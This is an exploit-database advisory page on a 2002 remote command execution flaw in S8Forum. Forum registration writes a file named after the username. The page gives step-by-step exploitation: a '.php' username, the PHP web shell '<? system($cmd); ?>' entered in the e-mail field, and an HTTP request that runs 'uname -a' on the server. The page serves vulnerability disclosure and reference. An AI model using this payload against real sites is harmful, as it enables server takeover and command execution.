header-logo
Suggest Exploit
vendor:
S8Forum
by:
SecurityFocus
8.8
CVSS
HIGH
Remote Command Execution
78
CWE
Product Name: S8Forum
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: No
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2002

S8Forum Remote Command Execution Vulnerability

S8Forum is vulnerable to a remote command execution vulnerability. When a user registers with the forum, a file is created locally with the specified username. A malicious user can create a file with an arbitrary name and PHP (.php) extension that contains valid PHP code. The attacker can then cause this file to be executed by requesting it via HTTP.

Mitigation:

Ensure that user input is properly sanitized and validated.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/6547/info

S8Forum is prone to a remote command execution vulnerability.

When a user registers with the forum, a file is created locally with the specified username. The contents of this file will be the data entered by the user. As a result, a malicious user could create a file with an arbitrary name and PHP (.php) extension that contains valid PHP code. The attacker may then cause this file to be executed by requesting it via HTTP. 

- go to Register

- insert in Username:
any_name.php

- in password : any_pasword.

- in E-Mail:

<? system($cmd); ?>

Then request the following page:

http://www.example.com/s8forumfolder/users/any_name.php?cmd=uname%20-a